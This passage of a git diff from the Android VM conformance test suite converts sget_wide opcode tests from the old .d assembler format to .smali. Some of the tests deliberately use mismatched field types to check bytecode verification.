+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_short/d/T_sget_short_9;
+.super Ljava/lang/Object;
+.source "T_sget_short_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()S
+    .registers 3
+
+    sget-short v1, Ldot/junit/opcodes/sget_short/d/StubInitError;->value:S
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.d
deleted file mode 100644
index ffd5cb4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_1.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_1
-.super java/lang/Object
-
-.field public static i1 J
-.field protected static p1 J
-.field private static pvt1 J
-
-.method static <clinit>()V
-.limit regs 2
-       const-wide v0, 12345679890123
-       sput-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_1.i1 J
-
-       const-wide v0, 10
-       sput-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_1.p1 J
-
-       const-wide v0, 20
-       sput-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_1.pvt1 J
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_1.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.smali
new file mode 100644
index 0000000..6a28b0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.smali
@@ -0,0 +1,63 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;
+.super Ljava/lang/Object;
+.source "T_sget_wide_1.java"
+
+
+# static fields
+.field public static i1:J
+
+.field protected static p1:J
+
+.field private static pvt1:J
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const-wide v0, 0xb3a73dd46cbL
+
+    sput-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->i1:J
+
+    const-wide v0, 0xa
+
+    sput-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->p1:J
+
+    const-wide v0, 0x14
+
+    sput-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->pvt1:J
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 3
+
+    sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->i1:J
+
+    return-wide v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.d
deleted file mode 100644
index 3485b03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_11.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_11
-.super dot/junit/opcodes/sget_wide/d/T_sget_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_wide/d/T_sget_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_1.p1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.smali
new file mode 100644
index 0000000..f053d96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_11.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_11;
+.super  Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->p1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.d
deleted file mode 100644
index 36c4678..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_12.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_12
-.super dot/junit/opcodes/sget_wide/d/T_sget_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_wide/d/T_sget_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_1.pvt1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.smali
new file mode 100644
index 0000000..214a78b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_12.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_12;
+.super  Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->pvt1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.d
deleted file mode 100644
index 308bdd1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_13.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_13
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_13.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.smali
new file mode 100644
index 0000000..f3235d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_13.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_13;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.d
deleted file mode 100644
index 6e32d54..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_14.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_14
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.smali
new file mode 100644
index 0000000..2e44c40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_14;
+.super Ljava/lang/Object;
+.source "T_sget_wide_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.d
deleted file mode 100644
index 685bf22..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_15.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_15
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.smali
new file mode 100644
index 0000000..ea11edc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_15.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.d
deleted file mode 100644
index 5548cdc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_16.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_16
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_16.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.smali
new file mode 100644
index 0000000..9efcf92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_16.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_16;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.d
deleted file mode 100644
index 961c845..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_17.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_17
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.smali
new file mode 100644
index 0000000..c3579c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_17.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.d
deleted file mode 100644
index 8dba06c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_18.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_18
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.smali
new file mode 100644
index 0000000..fb8d54e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_18.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.d
deleted file mode 100644
index e8d5722..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_19.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_19
-.super java/lang/Object
-
-.field public static i1 F
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_19.i1 F
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.smali
new file mode 100644
index 0000000..957591b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_19.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:F
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_19;->i1:F
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.d
deleted file mode 100644
index 4e12946..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_2.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_2
-.super java/lang/Object
-
-.field public static val D
-
-.method static <clinit>()V
-.limit regs 2
-       const-wide v0, 123.0
-       sput-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_2.val D
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()D
-.limit regs 4
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_2.val D
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.smali
new file mode 100644
index 0000000..ff08620
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.smali
@@ -0,0 +1,42 @@
